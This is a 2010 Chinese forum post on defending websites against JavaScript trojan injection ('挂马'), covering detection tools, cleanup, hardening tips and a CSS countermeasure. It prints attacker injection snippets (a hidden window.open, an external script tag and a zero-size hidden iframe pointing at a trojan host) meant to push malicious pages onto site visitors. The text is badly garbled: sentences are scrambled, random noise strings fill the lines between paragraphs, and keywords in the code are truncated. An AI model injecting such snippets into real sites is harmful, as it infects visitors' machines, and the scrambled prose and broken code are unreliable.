搜索
查看: 11954|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

4 V# w- m& j/ W& o

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

9 z; K u2 g) u' P O, H) h7 ?

IFRAME 和 JS 脚本挂马。

2 V% x# t: Q$ ^3 c6 D& E6 ] L9 t

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

9 Q- c2 b$ H9 q7 N% ~

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

% e* q, Y0 b/ Z8 M0 K2 h d4 [

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

3 g0 @, U' _' j. p" [

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

/ a; C8 n) n8 w) p# ` c7 R

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

# h; g2 H: x" P! ?# T9 P' M) S1 j

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

# ^: c3 l# u/ A* t

。一千多位会员的 ID

9 @8 g9 k3 Y0 Y

2: 如何检测网页是否被挂马。

: u P, a2 t2 V' s

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

' J( G) w" @& w7 n

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

" {% X7 H0 x3 ^) H

因素。
2 googl 检测。>

, Q6 N+ g9 X/ [ ~

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

8 [7 ^0 v( a( @% M( S5 o t7 ^

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

& F ~. P* b# ?* D4 e P; L

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

: r1 z" b! u8 k Z6 N G$ ^+ \, H

. l: `3 b8 `% o3 _ Q( q

3: 如何清除网页木马。

! P: c! L( U, D4 W, j

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

5 N+ P9 ] \9 V. @# y- p5 m

入源文件把相关的网页挂马种类的可疑代码删除。

% ?# r1 c: Y6 G

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

y* S/ X2 U5 X" O o5 |5 ?2 Z( w

悉。>

% P7 j( I# W2 A. L

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

! @) t4 q! ~* G) t7 `: E

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

9 m7 u* C2 Q$ Q

2 保证你所使用的顺序及时的更新。

& z; y0 [- M5 F+ d! a) Y* x

3 不要在前台网页上加注后台管理程序登陆页面的链接。

: M* e) O" V0 ]! l& u# o

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

: R7 i; a5 g+ |2 X: g

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

4 q& y* p% _$ i: _+ E

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

; s1 q- x9 _ ?* n% m4 @$ M) K5 ^' ], ]

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

- k/ X, V+ v7 c! v1 e- J

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

- R0 W+ O- I; Q `: i

9 ^$ \$ V6 V5 S# T' K, Y" i

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

5 u/ b! Q. z0 F* F: G( D

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

4 n2 A A) B1 |3 J

JS 挂马溯源

1 P0 j# ~0 } y/ K

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

4 q" w$ _" c% D

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

: ?% U9 R, A% m" C: D) W3 ?

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

* D( c v! i$ L6 [+ \

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

( T/ g& k' N/ H

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

. U$ h- G7 A+ Y" G9 _

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

. h% p. [3 H: r! Q7 |

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

- Q0 H3 M. h9 W V

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

, ] S0 M2 |- d$ R7 ^2 ]

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

- ^5 G5 i H: r2 H4 D0 ]; D

脚本在工作中会有很大的协助。

5 s" k8 h q9 |0 D

挂马原理一点通

9 W; e: K/ |* Y1 ?! F6 R

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

+ L3 W9 e7 e/ j7 J

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

, H: [8 J% ^1 Q4 i* n L, M

无从区分木马在何处。

( s) j b, B9 S

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

% f: k; U. G6 a. D+ ?# C

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

- b. R: |7 O6 [6 [2 o

容易蒙混过关,导致木马久杀不绝。

/ U. u1 o* Q( P6 ]9 l0 l' p m" K

JS 挂马攻防实录

A ]5 @2 J3 U6 _4 l

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

: z; T1 d# I: }7 Y' A

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

J& a% b! A% i5 [. |

这种方法使用的关键代码如下:

, S" k% P7 V) c* ~" _0 u, o

"",  window.open "http://www.v404.cn/ 木马

2 Y5 ]: m {6 F- W7 W" i

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

7 e$ _+ `! U [- i8 X, N; M4 c1 H* x

) L2 f6 E1 T m- a$ E, @' Q5 h6 M( k* t

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

. e: T" f3 \1 _

但是设置为 0 后,可能会出现恶意代码不运行的情况。

3 ` B$ e1 w$ O' S- Y

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

9 s: r* F( h" `

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

' W" e$ V) q x/ b3 l: r* v

" Z* T8 U, `% i# V) }9 P

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

3 H( p% o9 [' R8 K

- N% q% r" @, L. o$ C

或者

- @# l* B/ n0 }3 t; d2 H7 e

document.writ "<div style='display:none'>"

8 M* H) J6 U% C; _; n) H

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

, E+ Y5 X3 O" v" _

document.writ "</div>"
 

3 u/ ?3 H) m5 H! c" h9 X

@) D$ f" A, i' r9 U( E) H

就成功地将木马挂到对方的网页中了

: X7 c: s* }6 T- m) M

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

, }! i+ ~8 H4 a4 h" I

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

, A* @( Y! ^, j: S9 r0 ~

或者:

8 _8 c* d4 Z; C: L' m% E) Y

<ifram src="vbscript:[ 挂马脚本 ]">

( d) m! M, r7 ?/ M- N* z- m, f+ u0 C

?: E M$ W2 G2 Z& s- y


等等 …

; c8 q$ s/ ?8 ]/ s* c

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

- j f: g" c! C2 Z

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

/ O# a" P. B" j* N

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

) q/ [4 |6 d5 l5 Z1 C. b- X

;}

6 ~6 M# F, z U, y( |( c& ~

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

5 t X/ }' P! F

7 f( T3 P% j7 j- x: r

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

9 `* H8 b: q+ L3 F& m

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

2 n5 b" X; _" ^+ c9 z+ E' ^& p

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

/ U7 N1 A. W1 [2 b' u

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

I1 @4 ]2 o0 K7 R2 c

<title> 让 JS 挂马中止的 CSS 代码 </title>

2 l! E( ? X7 I4 B* W: N4 V! a

<styl type="text/css" id="shudoo">

1 n# e- P) _1 }3 c

/*<![CDATA[*/

4 v; k1 X6 {& p4 a$ p r

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

! b* p3 p0 K5 f e/ D# N

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

/ a# J5 e! o& k I B6 T. a$ h

/*]]>*/

9 @3 ~( D& i- C1 l, u* n$ j) \

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表